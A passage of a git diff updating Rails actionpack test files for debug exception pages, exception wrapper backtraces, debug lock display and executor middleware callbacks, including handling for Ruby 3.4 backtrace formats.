+      RuntimeError (Third error)
+      Caused by: RuntimeError (Second error)
+      Caused by: RuntimeError (First error)
+    MSG
+
+    assert_includes(paragraphs[1], <<~MSG.strip)
+      Information for: RuntimeError (Third error):
+    MSG
+
+    if RUBY_VERSION >= "3.4"
+      # Changes to the format of exception backtraces
+      # https://bugs.ruby-lang.org/issues/16495 (use single quote instead of backtrace)
+      # https://bugs.ruby-lang.org/issues/20275 (don't have entry for rescue in)
+      # And probably more, they now show the class too
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[2]
+        \\A.*in '.*raise_nested_exceptions_third'
+        .*in '.*raise_nested_exceptions'
+      REGEX
+
+      assert_includes(paragraphs[3], <<~MSG.strip)
+        Information for cause: RuntimeError (Second error):
+      MSG
+
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[4]
+        \\A.*in '.*raise_nested_exceptions_second'
+        .*in '.*raise_nested_exceptions_third'
+        .*in '.*raise_nested_exceptions'
+      REGEX
+
+
+      assert_includes(paragraphs[5], <<~MSG.strip)
+        Information for cause: RuntimeError (First error):
+      MSG
+
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[6]
+        \\A.*in '.*raise_nested_exceptions_first'
+        .*in '.*raise_nested_exceptions_second'
+        .*in '.*raise_nested_exceptions_third'
+        .*in '.*raise_nested_exceptions'
+      REGEX
+    else
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[2]
+        \\A.*in `rescue in raise_nested_exceptions_third'
+        .*in `raise_nested_exceptions_third'
+        .*in `raise_nested_exceptions'
+      REGEX
+
+      assert_includes(paragraphs[3], <<~MSG.strip)
+        Information for cause: RuntimeError (Second error):
+      MSG
+
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[4]
+        \\A.*in `rescue in raise_nested_exceptions_second'
+        .*in `raise_nested_exceptions_second'
+        .*in `raise_nested_exceptions_third'
+        .*in `raise_nested_exceptions'
+      REGEX
+
+
+      assert_includes(paragraphs[5], <<~MSG.strip)
+        Information for cause: RuntimeError (First error):
+      MSG
+
+      assert_match Regexp.new(<<~REGEX.strip), paragraphs[6]
+        \\A.*in `raise_nested_exceptions_first'
+        .*in `raise_nested_exceptions_second'
+        .*in `raise_nested_exceptions_third'
+        .*in `raise_nested_exceptions'
+      REGEX
+    end
+  end
+
   test "display backtrace when error type is SyntaxError" do
     @app = DevelopmentApp
 
     get "/original_syntax_error", headers: { "action_dispatch.backtrace_cleaner" => ActiveSupport::BacktraceCleaner.new }
 
     assert_response 500
-    assert_select "#Application-Trace" do
-      assert_select "pre code", /syntax error, unexpected/
+    assert_select "#Application-Trace-0" do
+      assert_select "code", /syntax error, unexpected|syntax errors found/
     end
   end
 
@@ -444,9 +784,9 @@ def call(env)
 
     assert_select "#container h2", /^Missing template/
 
-    assert_select "#Application-Trace"
-    assert_select "#Framework-Trace"
-    assert_select "#Full-Trace"
+    assert_select "#Application-Trace-0"
+    assert_select "#Framework-Trace-0"
+    assert_select "#Full-Trace-0"
 
     assert_select "h2", /Request/
   end
@@ -457,24 +797,27 @@ def call(env)
     get "/syntax_error_into_view", headers: { "action_dispatch.backtrace_cleaner" => ActiveSupport::BacktraceCleaner.new }
 
     assert_response 500
-    assert_select "#Application-Trace" do
-      assert_select "pre code", /syntax error, unexpected/
+    assert_select "#Application-Trace-0" do
+      assert_select "code", /syntax error, unexpected|syntax errors found/
     end
+    assert_match %r{Showing <i>.*test/dispatch/debug_exceptions_test.rb</i>}, body
   end
 
   test "debug exceptions app shows user code that caused the error in source view" do
     @app = DevelopmentApp
     Rails.stub :root, Pathname.new(".") do
       cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
-        bc.add_silencer { |line| line =~ /method_that_raises/ }
-        bc.add_silencer { |line| line !~ %r{test/dispatch/debug_exceptions_test.rb} }
+        bc.add_silencer { |line| line.match?(/method_that_raises/) }
+        bc.add_silencer { |line| !line.match?(%r{test/dispatch/debug_exceptions_test.rb}) }
       end
 
       get "/framework_raises", headers: { "action_dispatch.backtrace_cleaner" => cleaner }
 
       # Assert correct error
       assert_response 500
-      assert_select "h2", /error in framework/
+      assert_select "div.exception-message" do
+        assert_select "div", /error in framework/
+      end
 
       # assert source view line is the call to method_that_raises
       assert_select "div.source:not(.hidden)" do
@@ -482,19 +825,189 @@ def call(env)
       end
 
       # assert first source view (hidden) that throws the error
-      assert_select "div.source:first" do
+      assert_select "div.source" do
         assert_select "pre .line.active", /raise StandardError\.new/
       end
 
       # assert application trace refers to line that calls method_that_raises is first
-      assert_select "#Application-Trace" do
-        assert_select "pre code a:first", %r{test/dispatch/debug_exceptions_test\.rb:\d+:in `call}
+      assert_select "#Application-Trace-0" do
+        assert_select "code a:first", %r{test/dispatch/debug_exceptions_test\.rb:\d+:in .*call}
       end
 
       # assert framework trace that threw the error is first
-      assert_select "#Framework-Trace" do
-        assert_select "pre code a:first", /method_that_raises/
+      assert_select "#Framework-Trace-0" do
+        assert_select "code a:first", /method_that_raises/
       end
     end
   end
+
+  test "invoke interceptors before rendering" do
+    @app = InterceptedApp
+    get "/intercepted_error", headers: { "action_dispatch.show_exceptions" => :all }
+
+    assert_equal InterceptedErrorInstance, request.get_header("int")
+  end
+
+  test "bad interceptors doesn't debug exceptions" do
+    @app = BadInterceptedApp
+
+    get "/puke", headers: { "action_dispatch.show_exceptions" => :all }
+
+    assert_response 500
+    assert_match(/puke/, body)
+  end
+
+  test "debug exceptions app shows all the nested exceptions in source view" do
+    @app = DevelopmentApp
+    Rails.stub :root, Pathname.new(".") do
+      cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
+        bc.add_silencer { |line| !line.match?(%r{test/dispatch/debug_exceptions_test.rb}) }
+      end
+
+      get "/nested_exceptions", headers: { "action_dispatch.backtrace_cleaner" => cleaner }
+
+      # Assert correct error
+      assert_response 500
+      assert_select "div.exception-message" do
+        assert_select "div", /Third error/
+      end
+
+      # assert source view line shows the last error
+      assert_select "div.source:not(.hidden)" do
+        assert_select "pre .line.active", /raise "Third error"/
+      end
+
+      if RUBY_VERSION >= "3.4"
+        # Possible Ruby 3.4-dev bug: https://bugs.ruby-lang.org/issues/19117#note-45
+        # assert application trace refers to line that raises the last exception
+        assert_select "#Application-Trace-0" do
+          assert_select "code a:first", %r{in '.*raise_nested_exceptions_third'}
+        end
+
+        # assert the second application trace refers to the line that raises the second exception
+        assert_select "#Application-Trace-1" do
+          assert_select "code a:first", %r{in '.*raise_nested_exceptions_second'}
+        end
+      else
+        # assert application trace refers to line that raises the last exception
+        assert_select "#Application-Trace-0" do
+          assert_select "code a:first", %r{in [`']rescue in .*raise_nested_exceptions_third'}
+        end
+
+        # assert the second application trace refers to the line that raises the second exception
+        assert_select "#Application-Trace-1" do
+          assert_select "code a:first", %r{in [`']rescue in .*raise_nested_exceptions_second'}
+        end
+      end
+
+      # assert the third application trace refers to the line that raises the first exception
+      assert_select "#Application-Trace-2" do
+        assert_select "code a:first", %r{in [`'].*raise_nested_exceptions_first'}
+      end
+    end
+  end
+
+  test "shows the link to edit the file in the editor" do
+    @app = DevelopmentApp
+    ActiveSupport::Editor.stub(:current, ActiveSupport::Editor.find("atom")) do
+      get "/actionable_error"
+
+      assert_select "code a.edit-icon"
+      assert_includes body, "atom://core/open"
+    end
+  end
+
+  test "editor can handle syntax errors" do
+    @app = DevelopmentApp
+    ActiveSupport::Editor.stub(:current, ActiveSupport::Editor.find("atom")) do
+      get "/syntax_error_into_view"
+
+      assert_response 500
+      assert_select "#Application-Trace-0" do
+        assert_select "code", /syntax error, unexpected|syntax errors found/
+      end
+    end
+  end
+
+  test "shows a buttons for every action in an actionable error" do
+    @app = DevelopmentApp
+    Rails.stub :root, Pathname.new(".") do
+      cleaner = ActiveSupport::BacktraceCleaner.new.tap do |bc|
+        bc.add_silencer { |line| !line.match?(%r{test/dispatch/debug_exceptions_test.rb}) }
+      end
+
+      get "/actionable_error", headers: { "action_dispatch.backtrace_cleaner" => cleaner }
+
+      # Assert correct error
+      assert_response 500
+
+      assert_select 'input[value="Action 1"]'
+      assert_select 'input[value="Action 2"]'
+    end
+  end
+
+  test "debug exceptions app shows diagnostics when malformed query parameters are provided" do
+    @app = DevelopmentApp
+
+    get "/bad_request?x[y]=1&x[y][][w]=2"
+
+    assert_response 400
+    assert_match "ActionController::BadRequest", body
+  end
+
+  test "debug exceptions app shows diagnostics when malformed query parameters are provided by XHR" do
+    @app = DevelopmentApp
+    xhr_request_env = { "action_dispatch.show_exceptions" => :all, "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
+
+    get "/bad_request?x[y]=1&x[y][][w]=2", headers: xhr_request_env
+
+    assert_response 400
+    assert_match "ActionController::BadRequest", body
+  end
+
+  test "debug exceptions app shows diagnostics for template errors that contain UTF-8 characters" do
+    @app = DevelopmentApp
+
+    io = StringIO.new
+    logger = ActiveSupport::Logger.new(io)
+
+    get "/utf8_template_error", headers: { "action_dispatch.logger" => logger }
+
+    assert_response 500
+    assert_select "#container p", /Showing #{__FILE__} where line #\d+ raised/
+    assert_select "#container code", /undefined local variable or method ['`]string�'/
+  end
+
+  test "includes copy button in error pages" do
+    @app = DevelopmentApp
+
+    get "/", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_response 500
+
+    assert_match %r{<button onclick="copyAsText\.bind\(this\)\(\)">Copy as text</button>}, body
+    assert_match %r{<script type="text/plain" id="exception-message-for-copy">.*RuntimeError \(puke}m, body
+  end
+
+  test "copy button not shown for XHR requests" do
+    @app = DevelopmentApp
+
+    get "/", headers: {
+      "action_dispatch.show_exceptions" => :all,
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    }
+
+    assert_response 500
+    assert_no_match %r{<button}, body
+    assert_no_match %r{<script}, body
+  end
+
+  test "exception message includes causes for nested exceptions" do
+    @app = DevelopmentApp
+
+    get "/nested_exceptions", headers: { "action_dispatch.show_exceptions" => :all }
+
+    script_content = body[%r{<script type="text/plain" id="exception-message-for-copy">(.*?)</script>}m, 1]
+    assert_match %r{Third error}, script_content
+    assert_match %r{Caused by:.*Second error}m, script_content
+  end
 end
diff --git a/actionpack/test/dispatch/debug_locks_test.rb b/actionpack/test/dispatch/debug_locks_test.rb
new file mode 100644
index 0000000000000..565e83071bf58
--- /dev/null
+++ b/actionpack/test/dispatch/debug_locks_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DebugLocksTest < ActionDispatch::IntegrationTest
+  setup do
+    build_app
+  end
+
+  def test_render_threads_status
+    thread_ready = Concurrent::CountDownLatch.new
+    test_terminated = Concurrent::CountDownLatch.new
+
+    thread = Thread.new do
+      ActiveSupport::Dependencies.interlock.running do
+        thread_ready.count_down
+        test_terminated.wait
+      end
+    end
+
+    thread_ready.wait
+
+    get "/rails/locks"
+
+    test_terminated.count_down
+
+    assert_match(/Thread.*?Sharing/, @response.body)
+  ensure
+    thread.join
+  end
+
+  private
+    def build_app
+      @app = self.class.build_app do |middleware|
+        middleware.use Rack::Lint
+        middleware.use ActionDispatch::DebugLocks
+        middleware.use Rack::Lint
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/exception_wrapper_test.rb b/actionpack/test/dispatch/exception_wrapper_test.rb
index 316661a116eb5..88953d3e1ceb6 100644
--- a/actionpack/test/dispatch/exception_wrapper_test.rb
+++ b/actionpack/test/dispatch/exception_wrapper_test.rb
@@ -1,12 +1,24 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
   class ExceptionWrapperTest < ActionDispatch::IntegrationTest
     class TestError < StandardError
-      attr_reader :backtrace
+    end
+
+    class TopErrorProxy < StandardError
+      def initialize(ex, n)
+        @ex = ex
+        @n  = n
+      end
+
+      def backtrace
+        @ex.backtrace.first(@n)
+      end
 
-      def initialize(*backtrace)
-        @backtrace = backtrace.flatten
+      def backtrace_locations
+        @ex.backtrace_locations.first(@n)
       end
     end
 
@@ -16,45 +28,178 @@ def backtrace
       end
     end
 
+    class TestTemplate
+      attr_reader :method_name
+
+      def initialize(method_name)
+        @method_name = method_name
+      end
+
+      def spot(backtrace_location)
+        { first_lineno: 1, script_lines: ["compiled @ #{backtrace_location.base_label}:#{backtrace_location.lineno}"] }
+      end
+
+      def translate_location(backtrace_location, spot)
+        # note: extract_source_fragment_lines pulls lines from script_lines for indexes near first_lineno
+        # since we're mocking the behavior, we need to leave the first_lineno close to 1
+        { first_lineno: 1, script_lines: ["translated @ #{backtrace_location.base_label}:#{backtrace_location.lineno}"] }
+      end
+    end
+
     setup do
       @cleaner = ActiveSupport::BacktraceCleaner.new
-      @cleaner.add_silencer { |line| line !~ /^lib/ }
+      @cleaner.remove_filters!
+      @cleaner.add_silencer { |line| !line.start_with?("lib") }
     end
 
+    class_eval "def index; raise TestError; end", "lib/file.rb", 42
+
     test "#source_extracts fetches source fragments for every backtrace entry" do
-      exception = TestError.new("lib/file.rb:42:in `index'")
-      wrapper = ExceptionWrapper.new(nil, exception)
+      exception = begin index; rescue TestError => ex; ex; end
+
+      wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exception, 1))
+      trace = wrapper.source_extracts.first[:trace]
 
       assert_called_with(wrapper, :source_fragment, ["lib/file.rb", 42], returns: "foo") do
-        assert_equal [ code: "foo", line_number: 42 ], wrapper.source_extracts
+        assert_equal [ code: "foo", line_number: 42, trace: trace ], wrapper.source_extracts
       end
     end
 
+    class_eval "def ms_index; raise TestError; end", "c:/path/to/rails/app/controller.rb", 27
+
     test "#source_extracts works with Windows paths" do
-      exc = TestError.new("c:/path/to/rails/app/controller.rb:27:in 'index':")
+      exc = begin ms_index; rescue TestError => ex; ex; end
 
-      wrapper = ExceptionWrapper.new(nil, exc)
+      wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exc, 1))
+      trace = wrapper.source_extracts.first[:trace]
 
       assert_called_with(wrapper, :source_fragment, ["c:/path/to/rails/app/controller.rb", 27], returns: "nothing") do
-        assert_equal [ code: "nothing", line_number: 27 ], wrapper.source_extracts
+        assert_equal [ code: "nothing", line_number: 27, trace: trace ], wrapper.source_extracts
       end
     end
 
+    class_eval "def invalid_ex; raise TestError; end", "invalid", 0
+
     test "#source_extracts works with non standard backtrace" do
-      exc = TestError.new("invalid")
+      exc = begin invalid_ex; rescue TestError => ex; ex; end
 
-      wrapper = ExceptionWrapper.new(nil, exc)
+      wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exc, 1))
+      trace = wrapper.source_extracts.first[:trace]
 
       assert_called_with(wrapper, :source_fragment, ["invalid", 0], returns: "nothing") do
-        assert_equal [ code: "nothing", line_number: 0 ], wrapper.source_extracts
+        assert_equal [ code: "nothing", line_number: 0, trace: trace ], wrapper.source_extracts
+      end
+    end
+
+    class_eval "def throw_syntax_error; eval %(
+      pluralize { # create a syntax error without a parser warning
+    ); end", "lib/file.rb", 42
+
+    test "#source_extracts works with eval syntax error" do
+      exception = begin throw_syntax_error; rescue SyntaxError => ex; ex; end
+
+      wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exception, 1))
+      trace = wrapper.source_extracts.first[:trace]
+
+      assert_called_with(wrapper, :source_fragment, ["lib/file.rb", 42], returns: "foo") do
+        assert_equal [ code: "foo", line_number: 42, trace: trace ], wrapper.source_extracts
+      end
+    end
+
+    test "#source_extracts works with nil backtrace_locations" do
+      exception = begin eval "class Foo; yield; end"; rescue SyntaxError => ex; ex; end
+
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      assert_empty wrapper.source_extracts
+    end
+
+    test "#source_extracts works with error_highlight" do
+      lineno = __LINE__
+      begin
+        1.time
+      rescue NameError => exc
+      end
+
+      wrapper = ExceptionWrapper.new(nil, exc)
+
+      code = {}
+      File.foreach(__FILE__).to_a.drop(lineno - 1).take(6).each_with_index do |line, i|
+        code[lineno + i] = line
+      end
+      code[lineno + 2] = ["        1", ".time", "\n"]
+      assert_equal({ code: code, line_number: lineno + 2, trace: wrapper.source_extracts.first[:trace] }, wrapper.source_extracts.first)
+    end
+
+    class_eval "def _app_views_tests_show_html_erb;
+      raise TestError; end", "app/views/tests/show.html.erb", 2
+
+    test "#source_extracts wraps template lines in a SourceMapLocation" do
+      exception = begin _app_views_tests_show_html_erb; rescue TestError => ex; ex; end
+
+      template = TestTemplate.new("_app_views_tests_show_html_erb")
+      resolver = Data.define(:built_templates).new(built_templates: [template])
+
+      wrapper = nil
+      assert_called(ActionView::PathRegistry, :all_resolvers, nil, returns: [resolver]) do
+        wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exception, 1))
       end
+
+      assert_equal [{
+        code: { 1 => "translated @ _app_views_tests_show_html_erb:3" },
+        line_number: 1,
+        trace: wrapper.source_extracts.first[:trace]
+      }], wrapper.source_extracts
+    end
+
+    class_eval "def _app_views_tests_nested_html_erb;
+      [1].each do
+        [2].each do
+          raise TestError
+        end
+      end
+    end", "app/views/tests/nested.html.erb", 2
+
+    test "#source_extracts works with nested template code" do
+      exception = begin _app_views_tests_nested_html_erb; rescue TestError => ex; ex; end
+
+      template = TestTemplate.new("_app_views_tests_nested_html_erb")
+      resolver = Data.define(:built_templates).new(built_templates: [template])
+
+      wrapper = nil
+      assert_called(ActionView::PathRegistry, :all_resolvers, nil, returns: [resolver]) do
+        wrapper = ExceptionWrapper.new(nil, TopErrorProxy.new(exception, 5))
+      end
+
+      extracts = wrapper.source_extracts
+      assert_equal({
+        code: { 1 => "translated @ _app_views_tests_nested_html_erb:5" },
+        line_number: 1,
+        trace: extracts[0][:trace]
+      }, extracts[0])
+      # extracts[1] is Array#each (unreliable backtrace across rubies)
+      assert_equal({
+        code: { 1 => "translated @ _app_views_tests_nested_html_erb:4" },
+        line_number: 1,
+        trace: extracts[2][:trace]
+      }, extracts[2])
+      # extracts[3] is Array#each (unreliable backtrace across rubies)
+      assert_equal({
+        code: { 1 => "translated @ _app_views_tests_nested_html_erb:3" },
+        line_number: 1,
+        trace: extracts[4][:trace]
+      }, extracts[4])
     end
 
     test "#application_trace returns traces only from the application" do
-      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
-      wrapper = ExceptionWrapper.new(@cleaner, exception)
+      exception = begin index; rescue TestError => ex; ex; end
+      wrapper = ExceptionWrapper.new(@cleaner, TopErrorProxy.new(exception, 1))
 
-      assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace
+      if RUBY_VERSION >= "3.4"
+        assert_equal [ "lib/file.rb:42:in 'ActionDispatch::ExceptionWrapperTest#index'" ], wrapper.application_trace.map(&:to_s)
+      else
+        assert_equal [ "lib/file.rb:42:in `index'" ], wrapper.application_trace.map(&:to_s)
+      end
     end
 
     test "#status_code returns 400 for Rack::Utils::ParameterTypeError" do
@@ -63,6 +208,18 @@ def backtrace
       assert_equal 400, wrapper.status_code
     end
 
+    test "#rescue_response? returns false for an exception that's not in rescue_responses" do
+      exception = RuntimeError.new
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+      assert_equal false, wrapper.rescue_response?
+    end
+
+    test "#rescue_response? returns true for an exception that is in rescue_responses" do
+      exception = ActionController::RoutingError.new("")
+      wrapper = ExceptionWrapper.new(@cleaner, exception)
+      assert_equal true, wrapper.rescue_response?
+    end
+
     test "#application_trace cannot be nil" do
       nil_backtrace_wrapper = ExceptionWrapper.new(@cleaner, BadlyDefinedError.new)
       nil_cleaner_wrapper = ExceptionWrapper.new(nil, BadlyDefinedError.new)
@@ -72,10 +229,13 @@ def backtrace
     end
 
     test "#framework_trace returns traces outside the application" do
-      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      exception = begin index; rescue TestError => ex; ex; end
       wrapper = ExceptionWrapper.new(@cleaner, exception)
 
-      assert_equal caller, wrapper.framework_trace
+      # The exception gets one more frame for the `begin`.  It's hard to
+      # get a stack trace exactly the same, so just drop that frame and
+      # make sure the rest are OK
+      assert_equal caller, wrapper.framework_trace.drop(1).map(&:to_s)
     end
 
     test "#framework_trace cannot be nil" do
@@ -87,10 +247,10 @@ def backtrace
     end
 
     test "#full_trace returns application and framework traces" do
-      exception = TestError.new(caller.prepend("lib/file.rb:42:in `index'"))
+      exception = begin index; rescue TestError => ex; ex; end
       wrapper = ExceptionWrapper.new(@cleaner, exception)
 
-      assert_equal exception.backtrace, wrapper.full_trace
+      assert_equal exception.backtrace, wrapper.full_trace.map(&:to_s)
     end
 
     test "#full_trace cannot be nil" do
@@ -101,18 +261,111 @@ def backtrace
       assert_equal [], nil_cleaner_wrapper.full_trace
     end
 
+    class_eval "def in_rack; index; end", "/gems/rack.rb", 43
+
     test "#traces returns every trace by category enumerated with an index" do
-      exception = TestError.new("lib/file.rb:42:in `index'", "/gems/rack.rb:43:in `index'")
+      exception = begin in_rack; rescue TestError => ex; TopErrorProxy.new(ex, 2); end
       wrapper = ExceptionWrapper.new(@cleaner, exception)
 
-      assert_equal({
-        "Application Trace" => [ id: 0, trace: "lib/file.rb:42:in `index'" ],
-        "Framework Trace" => [ id: 1, trace: "/gems/rack.rb:43:in `index'" ],
-        "Full Trace" => [
-          { id: 0, trace: "lib/file.rb:42:in `index'" },
-          { id: 1, trace: "/gems/rack.rb:43:in `index'" }
-        ]
-      }, wrapper.traces)
+      if RUBY_VERSION >= "3.4"
+        assert_equal({
+          "Application Trace" => [
+            exception_object_id: exception.object_id,
+            id: 0,
+            trace: wrapper.source_extracts.first[:trace],
+            filtered_trace: "lib/file.rb:42:in 'ActionDispatch::ExceptionWrapperTest#index'"
+          ],
+          "Framework Trace" => [
+            exception_object_id: exception.object_id,
+            id: 1,
+            trace: wrapper.source_extracts.second[:trace],
+            filtered_trace: "/gems/rack.rb:43:in 'ActionDispatch::ExceptionWrapperTest#in_rack'"
+          ],
+          "Full Trace" => [
+            {
+              exception_object_id: exception.object_id,
+              id: 0,
+              trace: wrapper.source_extracts.first[:trace],
+              filtered_trace: "lib/file.rb:42:in 'ActionDispatch::ExceptionWrapperTest#index'"
+            },
+            {
+              exception_object_id: exception.object_id,
+              id: 1,
+              trace: wrapper.source_extracts.second[:trace],
+              filtered_trace: "/gems/rack.rb:43:in 'ActionDispatch::ExceptionWrapperTest#in_rack'"
+            }
+          ]
+        }.inspect, wrapper.traces.inspect)
+      else
+        assert_equal({
+          "Application Trace" => [
+            exception_object_id: exception.object_id,
+            id: 0,
+            trace: wrapper.source_extracts.first[:trace],
+            filtered_trace: "lib/file.rb:42:in `index'"
+          ],
+          "Framework Trace" => [
+            exception_object_id: exception.object_id,
+            id: 1,
+            trace: wrapper.source_extracts.last[:trace],
+            filtered_trace: "/gems/rack.rb:43:in `in_rack'"
+          ],
+          "Full Trace" => [
+            {
+              exception_object_id: exception.object_id,
+              id: 0,
+              trace: wrapper.source_extracts.first[:trace],
+              filtered_trace: "lib/file.rb:42:in `index'"
+            },
+            {
+              exception_object_id: exception.object_id,
+              id: 1,
+              trace: wrapper.source_extracts.last[:trace],
+              filtered_trace: "/gems/rack.rb:43:in `in_rack'"
+            }
+          ]
+        }.inspect, wrapper.traces.inspect)
+      end
+    end
+
+    test "#show? returns false when using :rescuable and the exceptions is not rescuable" do
+      exception = RuntimeError.new("")
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      env = { "action_dispatch.show_exceptions" => :rescuable }
+      request = ActionDispatch::Request.new(env)
+
+      assert_equal false, wrapper.show?(request)
+    end
+
+    test "#show? returns true when using :rescuable and the exceptions is rescuable" do
+      exception = AbstractController::ActionNotFound.new("")
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      env = { "action_dispatch.show_exceptions" => :rescuable }
+      request = ActionDispatch::Request.new(env)
+
+      assert_equal true, wrapper.show?(request)
+    end
+
+    test "#show? returns false when using :none and the exceptions is rescuable" do
+      exception = AbstractController::ActionNotFound.new("")
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      env = { "action_dispatch.show_exceptions" => :none }
+      request = ActionDispatch::Request.new(env)
+
+      assert_equal false, wrapper.show?(request)
+    end
+
+    test "#show? returns true when using :all and the exceptions is not rescuable" do
+      exception = RuntimeError.new("")
+      wrapper = ExceptionWrapper.new(nil, exception)
+
+      env = { "action_dispatch.show_exceptions" => :all }
+      request = ActionDispatch::Request.new(env)
+
+      assert_equal true, wrapper.show?(request)
     end
   end
 end
diff --git a/actionpack/test/dispatch/executor_test.rb b/actionpack/test/dispatch/executor_test.rb
index 0b4e0849c3e31..c458bbaa00bdc 100644
--- a/actionpack/test/dispatch/executor_test.rb
+++ b/actionpack/test/dispatch/executor_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/object/with"
 
 class ExecutorTest < ActiveSupport::TestCase
   class MyBody < Array
@@ -34,42 +37,18 @@ def test_returned_body_object_always_responds_to_close_even_if_called_twice
     body.close
   end
 
-  def test_returned_body_object_behaves_like_underlying_object
-    body = call_and_return_body do
-      b = MyBody.new
-      b << "hello"
-      b << "world"
-      [200, { "Content-Type" => "text/html" }, b]
-    end
-    assert_equal 2, body.size
-    assert_equal "hello", body[0]
-    assert_equal "world", body[1]
-    assert_equal "foo", body.foo
-    assert_equal "bar", body.bar
-  end
-
   def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
     close_called = false
     body = call_and_return_body do
       b = MyBody.new do
         close_called = true
       end
-      [200, { "Content-Type" => "text/html" }, b]
+      [200, { "content-type" => "text/html" }, b]
     end
     body.close
     assert close_called
   end
 
-  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
-    body = call_and_return_body do
-      [200, { "Content-Type" => "text/html" }, MyBody.new]
-    end
-    assert_respond_to body, :size
-    assert_respond_to body, :each
-    assert_respond_to body, :foo
-    assert_respond_to body, :bar
-  end
-
   def test_run_callbacks_are_called_before_close
     running = false
     executor.to_run { running = true }
@@ -79,7 +58,7 @@ def test_run_callbacks_are_called_before_close
 
     running = false
     body.close
-    assert !running
+    assert_not running
   end
 
   def test_complete_callbacks_are_called_on_close
@@ -87,7 +66,7 @@ def test_complete_callbacks_are_called_on_close
     executor.to_complete { completed = true }
 
     body = call_and_return_body
-    assert !completed
+    assert_not completed
 
     body.close
     assert completed
@@ -114,18 +93,129 @@ def test_callbacks_execute_in_shared_context
 
     call_and_return_body.close
     assert result
-    assert !defined?(@in_shared_context) # it's not in the test itself
+    assert_not defined?(@in_shared_context) # it's not in the test itself
+  end
+
+  def test_body_abandoned
+    total = 0
+    ran = 0
+    completed = 0
+
+    executor.to_run { total += 1; ran += 1 }
+    executor.to_complete { total += 1; completed += 1 }
+
+    app = proc { [200, {}, []] }
+    env = Rack::MockRequest.env_for("", {})
+
+    stack = middleware(app)
+
+    requests_count = 5
+
+    requests_count.times do
+      stack.call(env)
+    end
+
+    assert_equal (requests_count * 2) - 1, total
+    assert_equal requests_count, ran
+    assert_equal requests_count - 1, completed
+  end
+
+  def test_error_reporting
+    raised_error = nil
+    error_report = assert_error_reported(Exception) do
+      raised_error = assert_raises Exception do
+        call_and_return_body { raise Exception }
+      end
+    end
+    assert_same raised_error, error_report.error
+  end
+
+  def test_error_reporting_with_show_exception
+    middleware = Rack::Lint.new(
+      ActionDispatch::Executor.new(
+        ActionDispatch::ShowExceptions.new(
+          Rack::Lint.new(->(_env) { 1 + "1" }),
+          ->(_env) { [500, {}, ["Oops"]] },
+        ),
+        executor,
+      )
+    )
+
+    env = Rack::MockRequest.env_for("", {})
+    error_report = assert_error_reported do
+      middleware.call(env)
+    end
+    assert_instance_of TypeError, error_report.error
+  end
+
+  class BusinessAsUsual < StandardError; end
+
+  def test_handled_error_is_not_reported
+    middleware = Rack::Lint.new(
+      ActionDispatch::Executor.new(
+        ActionDispatch::ShowExceptions.new(
+          Rack::Lint.new(->(_env) { raise BusinessAsUsual }),
+          ->(env) { [418, {}, ["I'm a teapot"]] },
+        ),
+        executor,
+      )
+    )
+
+    env = Rack::MockRequest.env_for("", {})
+    ActionDispatch::ExceptionWrapper.with(rescue_responses: { BusinessAsUsual.name => 418 }) do
+      assert_no_error_reported do
+        response = middleware.call(env)
+        assert_equal 418, response[0]
+      end
+    end
+  end
+
+  def test_complete_callbacks_are_called_on_rack_response_finished
+    completed = false
+    executor.to_complete { completed = true }
+
+    env = Rack::MockRequest.env_for
+    env["rack.response_finished"] = []
+
+    call_and_return_body(env)
+
+    assert_not completed
+
+    assert_equal 1, env["rack.response_finished"].size
+    env["rack.response_finished"].first.call(env, 200, {}, nil)
+
+    assert completed
+  end
+
+  def test_complete_callbacks_are_called_once_on_rack_response_finished_when_exception_is_raised
+    completed_count = 0
+    executor.to_complete { completed_count += 1 }
+
+    env = Rack::MockRequest.env_for
+    env["rack.response_finished"] = []
+
+    begin
+      call_and_return_body(env) do
+        raise "error"
+      end
+    rescue
+    end
+
+    assert_equal 1, env["rack.response_finished"].size
+    env["rack.response_finished"].first.call(env, 200, {}, nil)
+
+    assert_equal 1, completed_count
   end
 
   private
-    def call_and_return_body(&block)
-      app = middleware(block || proc { [200, {}, "response"] })
-      _, _, body = app.call("rack.input" => StringIO.new(""))
+    def call_and_return_body(env = Rack::MockRequest.env_for, &block)
+      app = block || proc { [200, {}, []] }
+      _, _, body = middleware(app).call(env)
       body
     end
 
     def middleware(inner_app)
-      ActionDispatch::Executor.new(inner_app, executor)
+      Rack::Lint.new(ActionDispatch::Executor.new(Rack::Lint.new(inner_app), executor))
     end
 
     def executor
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
index 958450072ef96..bd2a5b35fb5ad 100644
--- a/actionpack/test/dispatch/header_test.rb
+++ b/actionpack/test/dispatch/header_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class HeaderTest < ActiveSupport::TestCase
